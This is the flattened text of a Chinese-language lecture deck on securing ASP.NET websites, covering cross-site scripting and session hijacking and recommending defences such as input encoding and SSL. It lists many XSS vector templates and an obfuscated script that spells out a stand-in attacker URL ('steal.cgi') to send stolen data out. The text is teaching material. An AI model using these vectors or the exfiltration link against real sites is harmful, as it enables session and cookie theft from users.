設計安全的網站系統(tǒng)(編輯修改稿)
2025-02-26 15:45 本頁面
【文章內容簡介】 javascript:[code] img dynsrc=javascript:[code] input type=image dynsrc=javascript:[code] bgsound src=javascript:[code] {[code]}。 img src={[code]}。 link rel=stylesheet href=javascript:[code] iframe src=vbscript:[code] img src=mocha:[code] 各種 CrossSite Scripting攻擊方法 (二 ) img src=livescript:[code] a href=about:s ript[code]/script meta equiv=refresh content=0。url=javascript:[code] body onload=[code] div style=backgroundimage: url(javascript:[code])。 div style=behaviour: url([link to code])。 div style=binding: url([link to code])。 div style=width: expression([code])。 style type=text/javascript[code]/style object classid=clsid:... codebase=javascript:[code] style!/style ![CDATA[!]] 各種 CrossSite Scripting攻擊方法 (三 ) ! ! img src=blahonmouseover=[code] img src=blah onmouseover=[code] xml src=javascript:[code] xml id=Xabscript[code]/script。/b/a/xml div datafld=b dataformatas=html datasrc=X/div [\xC0][\xBC]script[code][\xC0][\xBC]/script 各種 CrossSite Scripting攻擊方法 (四 ) 隱藏超連結中惡意的 Script 各種 CrossSite Scripting攻擊方法 (五 ) a href=“ = scriptvar u = (0x0068)。u %2B= (0x0074)。u %2B= (0x0074)。 u %2B= (0x0070)。u %2B= (0x003A)。 u %2B= (0x002F)。u %2B= (0x002F)。 u %2B= (0x0061)。u %2B= (0x0074)。 u %2B= (0x0074)。u %2B= (0x0061)。 u %2B= (0x0063)。u %2B= (0x006B)。 u %2B= (0x0065)。u %2B= (0x0072)。 u %2B= (0x002E)。u %2B= (0x0063)。 u %2B= (0x006F)。u %2B= (0x006D)。 u %2B= (0x002F)。u %2B= (0x0073)。 u %2B= (0x0074)。u %2B= (0x0065)。 u %2B= (0x0061)。u %2B= (0x006C)。 u %2B= (0x002E)。u %2B= (0x0063)。 u %2B= (0x0067)。u %2B= (0x0069)。 u %2B= (0x003F)。u %2B= 阻擋 CrossSite Scripting攻擊的正確方法 不要把 Page的 ValidateRequest屬性設定成 False ?特殊狀況 :允許使用者傳送電子賀卡時加一段 HTML格式的訊息 , 或是允許使用者傳送 HTML格式的文件 , 例如 Email或討論群發(fā)佈的訊息 不信任使用者輸入的資料 :TextBox, Url, Cookie, HTTP Header 加入編碼 ?使用 HttpUtility類別 的 HtmlEncode方法 /UrlEncode方法 處理使用者輸入的資料 , 屬性和事件最好使用雙引號包起來 設定 TextBox控制項的 MaxLength屬性 對 Cookie資料加密 了解駭客各種攻擊手法 %3Cscript%3Ealert%%29%3C%2Fscript%3E 面對 CrossSite Scripting的使用者自保方法 禁用 IE的 Script功能 將 IE的安全性設定 [高安全性 ] 不要亂按 Email中的超連結 不要亂按不信任網站中的超連結 直接瀏覽存放有重要資訊的網站 , 不要透過 Third Party網站的超連結來瀏覽 盡量不要瀏覽曾遭駭客攻擊的網站 Session Hijacking攻擊 Session Hijacking攻擊模式 ?猜測 SessionID/竊取 SessionID Cookie – 小心使用Cookieless Session ?冒用受害人的身份 Identity Spoofing 阻擋 Session Hijacking攻擊的方法 重要的資料不要存放在 Cookie中 使用 120bit SessionID 使用 SSL(Secure Socket Layer)保護 SessionID Cookie(非 100%安全 ) 縮短 Session效期 (預設為 20分鐘 ) 如果 Session存放在 State服務 , 記得關閉 Port 42424不對外 如果 Session存放在 SQL Server服務 , 記得關閉 Port 1433和 Port 1434不對外 對 SessionID資料執(zhí)行雜湊處理 Web Server1 Web Serve
教學課件相關推薦
鄂ICP備17016276號-1